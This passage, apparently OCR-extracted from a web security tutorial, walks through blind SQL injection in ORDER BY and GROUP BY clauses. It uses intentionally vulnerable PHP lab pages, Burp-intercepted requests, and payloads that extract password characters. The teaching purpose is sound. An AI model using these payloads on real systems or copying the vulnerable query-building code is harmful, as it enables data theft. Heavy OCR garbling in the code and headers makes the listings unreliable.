commenin the other parts of the SQL query. Let us examine what happens, if the SQL injection appears
for example in the ORDER BY clause of the SQL injection. To try it add some more data to the
database.

Open a Command Prompt, and change to the MySQL directory. In our case it is
c: \xampp\mysql\bin. Then connect to the mysql server by issuing the command: mysql . exe
-uroot

Administrator: Command Prompt - mysql.exe -uroot

C:\xampp mysqlsbin?>mysql.exe -uroot

elcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is

Server version: 5.6.14 MySQL Community Serwver (GPL)

Copyright (c) 2000, 2013, Oracle and-s/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;’ or ’“h’ for help. Type '\c¢' to clear the current input statement.

Then change the database to a by the command:

use ay

And insert two more lines by the command:

insert into tbll values (3, "a","aaaaa",md5 ("aaaaa"),"description");
insert into tbll wvalues(4,"b","aaaaa",md5("aaaaa"),"description");

mysql >
mysql> insert into tbll values(3, "a", "aaaaa",mdS("aaaaa"), "description”);
Query 0K, 1 row affected (8.31 sec)

mysql> insert into tbll values(4, "b", "aaaaa",mdS("aaaaa"), "description”);
Query 0K, 1 row affected (0.85 sec)
mysql> _

Use the following code as sql.html:

<title>mylogin</title>

<body>

<form action="sqgl.php" method="POST">
Order By:



<Select name="orderby">

<option value = "id">id</option>
<option value = "username">username</option>
<option value = "password">password</option>
<option value = "encpassword">encpassword</option>
<option value = "description">description</option>
</Select>
<input type="submit" wvalue="send">
</form>
</body>

o
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Qo 'JIElﬁﬁ =] @dﬁ”r* mﬁlﬁ|:: ‘:|iﬁ %E| T2 LJ{ﬂ?|EH [T_LJ II!‘
EﬂquﬂmILﬂ

1 kritlesmylogin</title>

2 <bodys

= churm action="ggl .php" method="POST">

g Order By:

5 = <Select *are=“gxg§;gz“>

6 <option walue = "id"»id</option>

7 <option value = "gzername">nsername</option>

8 <option value = "password">password<,/option>

z <option value = "ghngpassword"renopasswornd</option>

10 <option value = "description">description</options>

11 B «/Select>

12 <input type="submit" value="=zend">

13 r<Sform>

14 - </body>

And the next one as sql.php:

<?php

Sdbname = "a";

Sdbusername = "root";

Sdbpassword = "";

//S$dbsrvname = "192.168.168.111";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($srvname, Susername, Spassword, Sdbname);
if (!Scon) {
echo ('Connection ERROR') ;

die(print r (mysgli error ($con)));
}
Squery = "SELECT id,username,'*****' as password,'****' as
encpassword, description FROM tbll ORDER BY " . $ POST['orderby']

"we.rmn.
4 4

$stms = mysqgli query(Scon, Squery);



if ($Sstms === false) {

echo ("ERROR during query execution: ');

die(print r (mysgli error($con)));
}
echo ('<table
border=1><tr><td>id</td><td>username</td><td>password</td>

<td>encpassword</td><td>description</td></tr>");

while ($row = mysqgli fetch array($stms, MYSQLI ASSOC)) {

echo ('<tr><td>' . Srow['id'] . '</td><td>' . Srow['username']
'</td><td>"!

Srow['password'] . '</td><td>' . Srow['encpassword']
'</td><td>!
Srow['description'] . '</td></tr>'");

}
die('</table>");
2>

o
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|[cEReREalsaRh ety 2% |ER (1 EERI@E D@

|=lsglhtml £ [ sql.php E:!|

1 [E=?php

2 £dbname = "a";

3 fusername = "root":

- fpassword = "";

= £srvname = "192.168.168.111";

6 fcon = mysqgli connect ($srvname, $username, Spassword, Sdbname):

T [HEHif (!Scomn){

B echo ('Connection ERROR'):

g die(print_p(mysqli_error(Ecun]]];

11 fquery = "SELECT id,username,'**%*#%%!' g5 password, "****' as encpassword,
12 description FRCM tbll OEDER EBY "™

13 § POST['orderhw'l . ":™;

14 Sztms = mysgli guery($con, $query):

15 [Hif ($stms === false){

16 echo ("ERRCE during guery execution: "}

17 die(prin;_p(mysqli_error(ECDn]]];

19 echo ('<table border=l1><Lr><itd>id</td><td>username</Ld><td>password</Ld>
20 <tdrenchnassword</td><gd>description</Ld></Lr>") ;
21 [Hwhile ($row = my=sgqgli fetch array($stms, MYSQLI ASSCC)){
22 echo ("<Er><kd>' . Srow['id'] . "</pd><gpd>' . Srow['username'l . "</ Rds<pde’
23 Srow['password'] . '</Rd><pd>" . Srow['snopasswornd'l . '<Spdscpds’
24 frow['description'] . '</Rd></LrF"):
25 Bl
26 die('</table>"};
27 =P

As we can see in the source the problem again is to substitute the user input into a SQL query. First



select the id field, to order by that, then click to the send button.

eo 2 http://192.168.168.111:8888/mysql/orderby1/sql.html

Order By: |id | send |

We get the following result:

-
i

el\l :fl (2 http://192.168.168.111:3888/mysql/orderby1/sql.php

|userﬂame||password||encpas sword”descripticm |
IIHn.ame ”***** ||"“'“'“" ||desc:riptic+n of user name |
|n.amel ”***** ||"“'“'“" ||desc:riptic+n of user name2|
|a ”:u:umcm ||1k1k1k1k ||desc:ripti0n |
|b ”:u:umcm ||1k1k1k1k ||desc1’ipti0n |

Then go back and choose a different column, to order by for example the description:

Go (2 http://192.168.168.111:3888/mysql/orderby1/sql.html

Order B}':ldescriptil:m I send I

I guess no one is suprised that the answer is different. So we have a situation, when we see different
screen if order by one column or another column. It suggests us the blind SQL injection.

el:l :)“l (2 http://192.168.168.111:3888/mysql/orderby1/sql.php

|username||passw0rd||encpassword”descriptinn |
|a ||***** ||**** ||d’&5|:1—ipti0‘n |
|b ”:nnk:u:k ||:k:k:m ”descriptinn |
II“name ||“”‘”‘”‘”‘t ||**** ||desc:riptinn of user name |
|nameE ||“”‘”‘”‘”‘t ||"”""“‘c ||desc:riptic+n of user name2|

Fortuinately we can use an IF expression as column name in the ORDER BY clause. To try it go back
to the start page, and select any column. We are able to select column name only from a combo box,
what is a user side filtering. It does not disturb us, just start the Burp proxy to catch the sent data. Select



an arbitryry column name, unimportant which, because we will change it with the proxy. Then click to
the send button.

e{: | & hitp://192.168.168.111:3888/mysql/orderby1/sgl.html

e

Order By: [id | send |

You will see something like this on the Burp proxy:

E

Burp Intruder Repeater Window Help

[ Target T 3 T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIEﬂE ]

_[ i ot T HTTP history T WebSockets history T Opticns ]

4| Request to http:i/192.168.168.111:8888

l Forward J l Drop J ( Intercept ison | [ Action
_[ Raw T Params T Headers T Hex ]

POST /myscl/orderbyl/sgl.php HTTE/L.1

Accept: text/html, application/xhtml+4wxml, */*

Feferer: http://192.188.168.111:8888/my=sql/orderbyl/sql. html
LAocept-Language: =en-U3

Content-Type: application/x-www—-form-urlencoded

Uzer—-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4: Trident/7.0; rv:11.0) like Gecko
Locept-Encoding: gzip, deflate

Host: 19Z.1g3.1lg8.111:8888

Content-Length: 10

Proxy-Connection: Eeep—-Alive

Pragmwa: no-cache

Cookie: PHPSESSID=llinvtvidsigridkmSdvkslsT77

orderby=id

Now change the column name from id to an IF expression. In such a case we used to test an always
true, and an always false logical expression, to test if we can get some difference between the true, and
false expressions.

IF(1=1,id,description)

The SQL query will be:

SELECT * FROM tbll ORDER BY IF(1=1,id,description);



K

Burp Intruder Repeater Window Help

[ Target T Prozy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder TE-DI‘I‘I.F}E.I’EI’ T Extender Tﬂlptians T Alerts ]

_[ ntercept T HTTP history TWEI::E{:-B&EE histony Tﬂlpti-nns ]

# | Request to http:/192.1688.168.111:8888

Forward Do I? Intercept is on I Action
L J P | Pt l J

(e | Forams | veasem | ex |

FOST /myscl/orderbyl/=sqgl.php HTTE/1.1

Locept: text/html, application/xhtml+xml, */*

BFeferer: http://192.168.168. 1118888/ my=sql/orderbyl/=ql. html
Aoccept-Languages: en-U3

Content-Type: application/x-wwwv—form-urlencodsd

Tzer—-Agent: Mozilla/5.0 (Windows NT E£.3; WOWE4: Trident/7.0; rv:1ll.0) like Gecko
LAocept-Encoding: gzip, deflate

Host: 1892.168.1e8.111:888E

Content-Length: 10

Proxv-Connection: Eeep-Alive

Fragmwa: no-cache

Cookie: PHPSESSID=llinvtvidsigqridkmsSdvkslsT?

orderby=IF |(1l=1,id, description)

The 1=1 expression is true so the result will be ordered by the id column. And we can see this is really
the case:

e {E :>w| (2 http://192.168.168.111:3888/mysql/orderby1/sql.php

|userﬂame||pass'wmd||encpassword||descriptian |
II“name ||***** ||"“‘“‘“‘c ||desc:ripti0n of user name |
|nameZ ||***** ||"“‘“‘“‘c ||desc:ripti0n of user name2|
|a ||:umnu:u ”:uuuc ”description |
Ao === |** |description |

Now try the always false expression to see if the order changes. To do it go back again to the main
screen. Select any column name, then click to the send button.

(- | @ hitp://192.168.168.111:3888/mysql/orderby1/sgl.html

Order By: [id | send |




The proxy intercepts the request again. Now change the column name to:
IF(1=2,id,description)
The SQL query will be:

SELECT * FROM tbll ORDER BY IF (1=2,id,description)

Burp Intruder Repeater Window Help

[ Target T Pra: T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder TC{:—mparE{ T Extender TDpti{:-n& T.IMEI‘IS ]

_[ niercept T HTTP history TWEbE-Gd(E-fS history TDpti{}nE- ]

4| Request to http:/192.188.168.111:8888
L Forward J l Drop J I Intercept is on I Action |
_[ Raw T Params T Headers T Hex ]

POST /my=scgl/orderbyl/sqgl.php HTTES L. 1

Aocept: text/html, application/xhtml4xml, */*

Feferer: http://182.1E8.188. 1118888/ mysqgl/orderbyl/sql.html
LAocept-Language: =n-US

Content-Type: application/x-wwwv—form-urlencodesd

Uzer-Agent: Mozilla/5.0 (Windows NT £€.3; WOWE4; Trident/7.0; rv:ll.0) like Gecko
Aocept-Encoding: gzip, deflate

Host: 192.1e8.1e8.111:85E88

Content-Length: 10

Proxy-Connection: Keep-Alive

FPragma: no-cache

Cookie: PHPSESSID=ll3nvtvidsicgridkmSdvikslsTT

orderby=IF (1=2, id,description)

And the result screen changed. So we have difference between a true and a false logical expressions:

(: :>\| = http://192.168.168.111:8888/mysql/orderby1/sql.php

|username||pa55word||encpas sword”descriptian |
|a ||=k=k=k=k=k ||:k:|uuc ”desc:riptian |
|b ||=k=k=k=k=k ||:k:|uuc ||desc:ripti0n |
E“n:ame ||““‘“‘“‘“‘t ||**** ||desc:ripticrn of user name |
|n:amaZ ||“”‘”‘”“"t ||**** ||desc:ripticrn of user name2|

Now change the logical expression to some data, what we want to know:



IF (ASCITI (SUBSTRING (password,1l,1)) ,id,description)
The SQL query will be:

SELECT * FROM tbll ORDER BY
IF (ASCITI (SUBSTRING (password,1l,1)) ,id,description) ;

E

Burp Intruder Repeater Window Help

[ Target T Fraoz T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender TDpti{}ns TA|EI15 ]

_[ ntercept THTTF" history TWEbE—GBkE‘fS history TDptinns ]

# | Requestto http://192.168.168.111:8888

l Forward J l Dvop J ( Intercept is on | Action
_[ Raw T FParams T Headers T Hex ]

POST /myscl/orderbyl/sgl.php HTTE/ 1.1

Accept: text/html, application/xhtml4bxml, */*

Feferer: http://1582.1F8.168.111:8888/mysql/orderbyl/sql. html
Locept-Language: en-1T3

Content-Type: application/xX-www-form-urlencodesd

Uzer—-Agent: Mozilla/5.0 (Windows NT €.3; WOWed; Trident/7.0; rv:11l.0) like Gecko
Aocept-Encoding: gzip, deflate

Host: 192.1g8.1e8.111:8888

Content-Length: 10O

FProxy—-Connection: Eeep-Alive

Fracgmwa: no-cache

Cookie: PHPSESSID=1l3nvtvidsigqridlkmbdvikslsT7

orderby=IF (ASCII (SUEBSTRING (password, L, 1) 1>128, id,de=scription)

As we can see the result is the false screen. So the ASCII code of the first character of the password is
not bigger than 128.

o,

e{:. _,: =2 http:(/192.168.168.111:8888/mysql/orderby1/sql.php

|usernarne||pa55vn.'ord||encpas 5w-:-rd||descxipti0n |
|a ”:u:u:u:k:k ”:Hum ”d&sc:ripticrn |
|b ”:u:u:umu ”:ucncnc ”d&scriptin}n |
IIHname ||“”‘”‘”““t ||"“‘“‘“‘c ||descxiptic+n of user name |
|n:ameZ ||***** ||**** ||desc:ripticrn of user name2|

One might ask, how do we know the names of the column, and the name of the table. Later we will
solve this problem, now just leave it in this way.



SQL injection in order by with back tick

Another version of it is when the developer uses backticks around the column name. To try this use the
following code as sql.html

<title>mylogin</title>

<body>
<form action="sgl.php" method="POST">
Order By:
<Select name="orderby">
<option value = "id">id</option>
<option value = "username">username</option>
<option value = "password">password</option>
<option value = "encpassword">encpassword</option>
<option value = "description">description</option>
</Select>
<input type="submit" value="send">
</form>
</body>

o

File Edit Search View Encoding Language Settings Macre Run Plugins  Window 7
cEEHEB @@Iﬁ|*hﬁ1|ac|ﬂbﬂ|% §|~_"~'.f:_~'_|f—a IE_LJB

EﬂquﬂmILﬂ
<titlexmylegin</titles

L R

<body>
E(forrr. action="ggl .php" method="POST">
Order By:
= <Select name="grderhy">
<option wvalue "id"xid<//option>
<option value = "pgernane">nsername</option>

oy LN
I

8 <option value = "password"»password</option>

Ey <option value = "gnopasswerd"rencpasswerd</option>
1C <option value = "description"»description</option>
11 2 </Belect>

12 <input type="submit" wvalue="send">

13 </ form>

14 - < /body>

And use the following code as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";

//S$dbsrvname = "192.168.168.111";



Sdbsrvname = "127.0.0.1";
$con = mysqli connect ($srvname, Susername, Spassword, S$Sdbname);
if (!Scon) {

echo ('Connection ERROR') ;

die (print r (mysqgli error ($con)));
}
$query = "SELECT id,username,'*****' as password, '****' ag
encpassword, description FROM tbll ORDER BY "" . $ POST['orderby']

LU |
’ ’

$stms = mysgli query(Scon, Squery);
1f ($stms === false) {
echo ('"ERROR during query execution: ');
die(print r (mysgli error ($con)));
}
echo ('<table
border=1><tr><td>id</td><td>username</td><td>password</td>
<td>encpassword</td><td>description</td></tr>");
while ($row = mysqgli fetch array($stms, MYSQLI ASSOC)) {

echo ("<tr><td>' . Srow['id'] . '</td><td>' . S$Srow]['username']
'</td><td>"
Srow['password'] . '</td><td>' . Srow]['encpassword']
'</td><td>"!
Srow['description'] . '</td></tr>"');

}
die('</table>");
?>



o
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|[coRRRGaIsRR2e(an|esx|BEE (1 FEER 0 EE®
[=l=alhtml E3| [= =ql.php Eﬂl

1 I__—_||< ?php

2 £dbname = "a";

3 fusername = "root";

- fpassword = "";

=] Szrvname = "192.168.168.111";

& fcon = mysgli connect ($srvname, Susername, S$password, S$dbname):

T [Hif ('Scon){

8 echo ( "Connection ERRCOR') ;

g die(print r(my=sgli error(fcon))):

10 r B -

11 Squery = "SELECT id,username, "##*#**%' a=z password, '***%' gs encpassword,
12 description FREOM tbll ORDER BY "™

13 & POST['grdezby']l . """

14 £stms = mysgli query($con, Squery):

15 [Hif (&stms === false) {

16 echo ( "ERRCE during query execution: '};

17 die(print_p(mysqli_errnri$cnn]]];

159 echo ('<table border=1><irr><gdrid</rd><gdrnsername</Ld><gd>password</gd>
20 <Ldrencpassword</td><td>description</Ld></6r>"1;
21 [Hwhile ($row = mysgli fetch array($stms, MYSQLI ASS0OC)){
2z echo [ '<Lr><gd>" . Srow['id'] . '</pd <gd>' . Srow['msermame'l - "</ Rd><pd>’
23 Srow['password'] . '</Ldx<gd>" . S$rowl'sncpassword'l . "</ hdw<gdrt
24 frow['description'] . '</Rd><SEI>"):
25 B
26 die('</table>"');
27 - >

Again like earlier first test if we have any difference between two results. First select the id column, to
order by, and click to the send button:

e@ (2 hitp://192.168.168.111:8888/mysql/orderby2/sql.html
Order By: |id | send |

We get the following result:



elf\-::):l 2 http://192.168.168.111:3888/ mysql/orderby2/sql.php

|username||pa55wmd||encpas sword”desc:ripticrn |
IIHn:ame ||***** ||**** ”d&sc:ripticrn of user name |
|n:ameZ ||“”‘”‘”‘”‘t ||**** ||desc:riptic+n of user name2|
|a ”:u:u:u:n: ||:Hc:m ”desc:ripticrn |
|b ”:u:u:u:n: ||:Hc:m ”descriptinn |

Then go back to the main screen and choose another column, for example the description, and click to
the send button again.

ee (22 http://192.168.168.111:8888/mysql/orderby2/sql.html

Order B}':|descripti|:m | send |

And we can see there is a different result:

e Q::):I 2 http://192.168.168.111:2888/mysql/orderby2/sql.php

|username||passwmd||mcpassword”d&scriptinn |
Ao | | |description |
IIHﬂ:ame ||***** ||**** ||desc:riptinn of user name |
|nameZ ||“”‘”‘”““t ||"“‘“‘“‘c ||d&5c:ripticrn of user name2|

So we can use the blind SQL injection technique. Use again the Burp proxy to intercept the requests.
Select an arbitrary column, then click to the send button.

ee 2 http://192.168.168.111:3888/mysql/orderby2/sql.html

Order B}':ldescriptinn | send |

The proxy will intercept it. If someone tries the previous example:



IF(1=1,id,description)
The SQL query will be:
SELECT * FROM tbll ORDER BY "IF(1=1,id,description) " ;

It will not work, because the back tick behaves like apostrophe in case of strings. The SQL considers
the IF(1=1,id,description) as a column name, not an SQL expression.

The solution is simple, we must break out from the back tick as we did in case of the apostrophe.
IF(1=1,id,description)

The SQL query will be:

SELECT * FROM tbll ORDER BY '~ IF(l=1,id,description);

As we can see it is just a syntax error. There is an unnecessery back tick at the end of the string what
we must comment out:

IF(1=1,id,description) ; #
The SQL query will be:
SELECT * FROM tbll ORDER BY "~ IF(1l=1,id,description) ;# ;
But it is still not working, in the ORDER BY clause we must separate the column names by comma.
*, IF(1=1,id,description) ;#
The SQL query will be:
SELECT * FROM tbll ORDER BY ", IF(1l=1,id,description) ;# ;
It is still a syntax error because we did not write column name between the back ticks.
description”, IF(1=1,id,description) ;#
The SQL query will be:
SELECT * FROM tbll ORDER BY ‘description’, IF(1=1,id,description) ;#°;
It is still not good because we can not use a column name two times in the ORDER BY clause. So
instead of using two different columns we will use the id column, what is numerical, and use the -id to
change the order to the opposite:
description”, IF(1=1,id,-id);#

The SQL query will be:



SELECT * FROM tbll ORDER BY “description’, IF(1=1,id,-id);;# ;

Burp Intruder Repeater Window Help

[ Target T Prosy I Spider T Scanner T Intruder T Repeater T Sequencer T Decoder Tﬁampmer T Extender T Options T.l'-"dEl'E- ]

_[ ntercept T HT TP history T WebSockets history T Options ]

,f Request to hittp://192.188.188.111:8888

[ Forward J l Drop J ( Intercept is on I | Action
_[HawTF"amrm’.THeademTH&x]

POST /mwyscgl/orderbyI/sgl.php HTTE/L1.1

Aocept: text/html, application/xhtml+4wxml, */*

Feferer: http://192.168.168.111:8888/myaql/orderbyl/sqgl.html
Aocept-Language: =n-U3

Content-Type: application/x-wwwv-form-urlencoded

Uzer-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4d: Trident/7.0; rv:1l.0) like Gecko
Aocept-Encoding: gzip, deflate

Host: 1892.L1l68.168.111:8888

Content-Length: 19

Proxy-Connection: Keep-Alive

Pragma: no-cache

Cookie: PHPSESSID=llinvtvT7dsigqridkikmsdvkESlsTT

orderby=description”, IF(l=1,id,—-id)#

As we can see for the 1=1 always true expression we get the following result:

eli :>\| = http://192.168.168.111:3888/mysql/orderby2/sql.php

|username||pa55wmd||encpas sword”desc:riptinn |
|a ||***** ||**** ||d&5t::l’ipﬁt}n |
|b ”:u:u:u:n: ||:Hc:m ”descriptinn |
IIHn:ame ||***** ||**** ”desc:riptinn of user name |
|n:amel ||"”‘”‘”‘”‘t ||"“‘“‘“‘c ||de5c:riptic+n of user namel|

Then try the always false 1=2 expression to see if we get different result. Again go back to the main
screen and select any column name. Press the send button.

eo 2 http://192.168.168.111:3888/mysql/ orderby2/sql.html

Order B}':ldescriptinn I send I




The burp proxy intercepts the request. Change the column name to
description’, IF(1=2,id,-id) ;#
The SQL query will be:

SELECT * FROM tbll ORDER BY ‘description’, IF(1=2,id,-id) ;# ;

Burp Intruder Repeater Window Help

[ Target T Pra: T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder Tﬂamparﬂ T Extender T Opticns T.l‘-"d-EﬂS ]

_[ ntercept T HTTP history TWEbE-GchE- history TDptic}ns ]

| #| Regquest to hitp://192.168.168.111:8888
l Forward J l Drop J | Interceptison | Action
_[ Raw T Params T Headers T Hex ]

POST Smysqgl/orderbhyI/=qgl.php HTTP/L.1

Aocept: text/html, application/xhtml4wxml, */*

Feferer: http://192.168.168.111:8888/mvyaql/orderbyl/scql.html
Accept-Languages: en-1U3

Content-Type: application/x-wwwv-form-urlencodesd

User-Agent: Mozilla/5.0 (Windows NT £.3; WOWe4:; Trident/7.0; rv:11.0) like Gecko
Aocept—-Encoding: gzip, deflate

Host: 192.168.168.111:8888

Content-Length: 19

Froxv-Connection: Heep-Alive

Fragma: no-cache

Cookie: PHPSESSID=llinvtvTdsigqridkmnSdvkSLlsTT

orderby=description’, IF(1=2,id,-id)#

And our result is changed:

|f\| :>\I & http://192.168.168.111:8838/mysql/orderby2/sql.php

|usemame||passw0rd||encpassword”descriptinn |
Blb [ | |descrption |
|a ||“”‘”‘”‘”‘t ||**** ||desc:riptinn |
II“n:ame ||“”‘”‘”‘”‘t ||**** ||desc:riptinn of user name |
|n:amv32 ||"”‘”‘”‘”‘t ||"“‘“‘“‘c ||desc:riptic+n of user name2|

From here the situation is the same as earlier. We should change the expression to the value we are



interested in.

One might ask, how do we know the names of the column, and the name of the table. Later we will
solve this problem, now just leave it in this way.



SQL injection in group by

Another place to inject is the GROUP BY clause within the select. To try it use the following code as
sql.html:

<title>mylogin</title>

<body>
<form action="sgl.php" method="POST">
Order By:
<Select name="groupby">
<option value = "id">id</option>
<option value = "username">username</option>
<option value = "password">password</option>
<option value = "encpassword">encpassword</option>
<option value = "description">description</option>
</Select>
<input type="submit" value="send">
</form>
</body>

o

File Edit Search View Encoding Language Settings Macre Run Plugins  Window 7
o 7JEﬂiﬁ (=] elall* mﬁlh|="=|ﬁﬁlh| % 3|LJ151|Eﬁ rrlj]llgjl
Eﬂsquﬂmlﬂﬂ
' ktitle}mx;gg;gcftitleb

L R3O}

<body
E(forrﬁ action="ggl.php" method="POST">
Order By:
=l <Select name="grongpby">
<option walue "id">id</option>

"nssrnane " >Username</option>
"password">password<//option>

1 0 n

<option wvalue

8 <option wvalue
g <option wvalue

= "encpassword">encpassword</option>
10 <option value = "description"»description</option>
11 B </ Gelect>
12 <input type="suobmit" wvalue="zend">
13 S form>
14 - < /body>

And the following code as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";



//S$dbsrvname = "192.168.168.111";

Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($srvname, Susername, Spassword, S$Sdbname);

if (!Scon) {
echo ('Connection ERROR');
die(print r (mysgli error ($con)));

}

$query = "SELECT " . $ POST["groupby"] . " as firstcol,

count (*) as secondcol FROM tbll GROUP BY "
$ POST["groupby"] . ";";

$stms = mysqgli query(Scon, S$Squery);

if ($stms === false) {
echo ('"ERROR during query execution: ');
die(print r (mysqgli error ($con)));

}

echo ('<table border=1><tr><td>' . $ POST["groupby"]

'</td><td>count</td></tr>");

while ($row = mysqgli fetch array($stms, MYSQLI ASSOC)) {

echo ('<tr><td>' . S$row['firstcol'] . '</td><td>'
Srow['secondcol'] . '</td></tr>"');

}

die('</table>");

>



o

File Edit S5earch View Encoding Language Settings Macre Run Plugins  Window 7

R Laldmk|oeag|ax|BER (1 2@
=l =glhtml £3| = =ql php E!l

El<?php

Sdbname = "a";
Susername = "root":
Spassword = "";
Esrvname = "192.168.168.111";

$con = mysgli connect ($srvname, $username, 3$password, Sdbname);
—|if ('Scon){

echo {'Connection ERRCR') ;

S . VO TR S U R S

Il

di&iprint_r(mysqli_errnri$cnn]]];

3 o

11 Squery = "SELECT " . $_PGST[”gr::pby”] . ™ as firstcol,
12 count (*) as secondcol FROM tbll GROUP BY ™

13 § POST["groupby™] . ":;":

14 £stms = mysgli_queryv(fcon, Squery):

15 [Elif (Sstms === false){

16 echo ( "ERRCR during gquery execution: '});

17 di&iprint_r(mysqli_errnri$cnn]]];

echo ('<table border=1><gpr><pd>' . $_PGST["gr::pby"]

R N B W )

Ay PR

Elwhile ($row = mysgli fetch array($stms, MYSQLI ASS50C)) {
echo ('<Lr><pd>"' . $row['firateol'l . '"</rdr><pds!
frow['gecondeald']l . '</Rdr</Rp>")

[
3
&
v
A
&
¥
1]
]
i
ot
L
&
"
o
3
i
-

die('</table>"):;
-

[T T T R R R R
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T

First try the application. Select a column, then click to the send button:

ee & http://192.168.168.111:8888/mysql/groupby1/sql.html
Order By: id | send |

The id is a unique column, so we will get the following result:



GI@I (2 http://192.168.168.111:8888/mysql/groupby1/sql.php

i

Then go back to the main screen and select another column to group by, for example the description
column.

eo & http://192.168.168.111:8888/mysql/groupby 1 /sql.html

Order B}':ldescriptinn | send |

And we get a different result. So again it is a good candidate for a blind SQL injection.

al@l (2 http://192.168.168.111:8888/mysql/groupby1/sql.php

|desc_tiption ||cc:unt|

|description ||2 |

|description of user name ||l |

|description of user name;l”l |

As we did it in the case of the ORDER BY example we can use the IF clause in the GROUP BY as
well.

So go back to the main screen and select an arbitrary column.

eo & http://192.168.168.111:8888/ mysql/groupby1/sql.html

Order By: |id I send I

Then catch the request by the Burp proxy and change the column name to

IF(1=1,id,description)



The SQL query will be:

SELECT * FROM tbll GROUP BY IF(1=1,id,description);

Burp Intruder Repeater Window Help

[ Target T Pras T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder TE{:-mpa:E{ T Extender TDpti{:-na TF-JEI‘E: ]
_[ ntercept I HT TP history T WebSockets history TDpti{}na ]
_ﬁ”"| Request to http://192.188.168.111:83888

l Forward J l Drop J ( Intercept is on | | Action
_[ Raw T Params T Hesders T Hex ]

POST Smyscql/groupbyl/sqgl.php HTTR/L1.1

Accept: text/html, application/xhtml+xml, */*%

Feferer: http://192.168. 168, 111:8888/myscl/groupbyl/scl.html
Accept-Language: en-U3

Content-Type: application/x-www—form-urlencoded

Uzer-Agent: Mozilla/S5.0 (Windows NT £.3; WOWEd:; Trident/7.0; rv:ill.0) like Gecko
Aocept-Encoding: gzip, deflate

Host: 192.1g8.1g8.111:8888

Content-Length: 10

Froxy-Connection: Eeep-Ailive

Fragma: no-cache

Cookie: PHPIESSID=llinvtvidsigqridikmSdvkSLlsT7

groupbhy=IF (1l=1, id, description)

As we can see the 1=1 is always true, so the data should be groupped by the id column. And we can see
it on the result screen:

(: :>HI 2 http://192.168.168.111:8888/mysql/groupby1/sql.php

TF(1=1.id.description)||count]
1 It
E |
3 L
4 |

Then go back again to the main screen, select an arbitrary column,and press the send button:



eo E hitp://192.168.168.111:8888/ mysql/groupby/sql.html

Order By: |id I send I

When the Burp proxy intercepts the result changes it to
IF(1=2,id,description)
The SQL query will be:

SELECT * FROM tbll GROUP BY IF (1=2,id,description)

R

Burp Intruder Repeater Window Help

[ Target T Prao: T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Compares T Extender T Options T Alerts ]

_[ ntercept T HTTP history TWEI:-E{H:&EE history TDptiuns. ]

4 Regquest to hitp://1592.168.188.111: 8888

L Forward J L Drop J ( Intercept is on I Action
_[ Raw T Params T Headers T Hex ]

FPOST /myscgl/groupbyl/sqgl.php HTTR/L. 1L

Accept: text/html, application/xhtml+xml, */*

Feferer: http://192.168.168.111:8888/mysql/groupbyl/sql. html
Aocept-Languages: =n-1U3

Content-Type: application/x-wwwv—form-urlencodsd

Uzer-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; Trident/7.0; rv:1l.0) like Gecko
Aocept-Encoding: gzip, deflate

Host: 19Z.1e8.1le3.111:88886

Content-Length: 10

Proxv-Connection: Eeep-Alive

Pragma: no-caches

Cookie: PHPSESSID=llinvtvidsigridkmsSdvkslsT7?

groupby=IF(1l=2, id, description)

As we can see the 1=2 is always false, so the data should be groupped by the description column. And
we can see it on the result screen:



GI@I (2 http://192.168.168.111:3888/mysql/groupby1/sql.php

IF(1=2.id description)  ||count|

|descripti0n ||2 |

|descripti0n of user name ||l |

|descripti0n of user nameEHI |

Then go back again to the main screen, select an arbitrary column, and press the send button:

a o 2 http://192.168.168.111:8888/mysql/groupby1/sgl.html

Order By: |id I send I

When the Burp proxy intercepts the result change it to
IF (ASCII (SUBSTRING (password,1,1))>128,id,description)
The SQL query will be:

SELECT * FROM tbll GROUP BY
IF (ASCITI (SUBSTRING (password,1,1))>128,id,description) ;



Burp Intruder Repeater Window Help

[ Target T Fra: T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder TC{}ITLPE.I’EI’ T Extender TDpti{}na T.l‘-"dEﬂEu ]

_[ niercept T HTTP history T WebSockets history T Options ]

_V| Request to hitp://192.188.188.111:8888
l Forward J l Drop J | Interceptisen | Action
_[ Raw T Farams T Headers T Hex ]

FPOST Smvscql/grouphyl/sqgl.php HTTESL.1

Locept: text/html, application/xhtml4bxml, */*

Feferer: http://192.168.168.111:8888/myscl/groupbyl/scl.html
Aocept-Language: en-1U3S

Content-Type: application/x-www—form—-urlencoded

Uzer—-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; Trident/7.0; rv:ll.0) like Gecko
Aocept—-Encoding: gzip, deflate

Host: 192.1e8.1e8.111:3888

Content-Length: 10

Proxvyv-Connection: Eeep-Alive

Fragma: no-cache

Cookie: PHPSESSID=1ll3nvtv7dsigqridkmSdviki1lsT77

groupby=IF (ASCII (SUBSTEING (password, L, 1)) =128, id,description)

We get the result screen. It is the false screen. It means the ASCII code of the first character of the
password is not greater than 128.

|:\. f)“l = http://192.168.168.111:8888/mysql/groupby1/sql.php

IIF(ASCII(SUBSTRING(password. 1,1))>128 id description)||count]
|descripti0n ||2 |
|descripti0n of user name ||1 |
|descripti0n of user name2 ”1 |

One might ask, how do we know the names of the columns, and the name of the table. Later we will
solve this problem, now just leave it in this way.



SQL injection in case of INSERT

Many time the web page create some statistics about the browser types used by visitors, or about some
other data. In this case most of the time it inserts to a table the information. Let us examine, how we
can inject in such a situation. Use the following code as sql.php:

<?PHP
Sdbname = "a";
Sdbusername = "root";

Sdbpassword = "";

Sdbsrvname = "127.0.0.1";

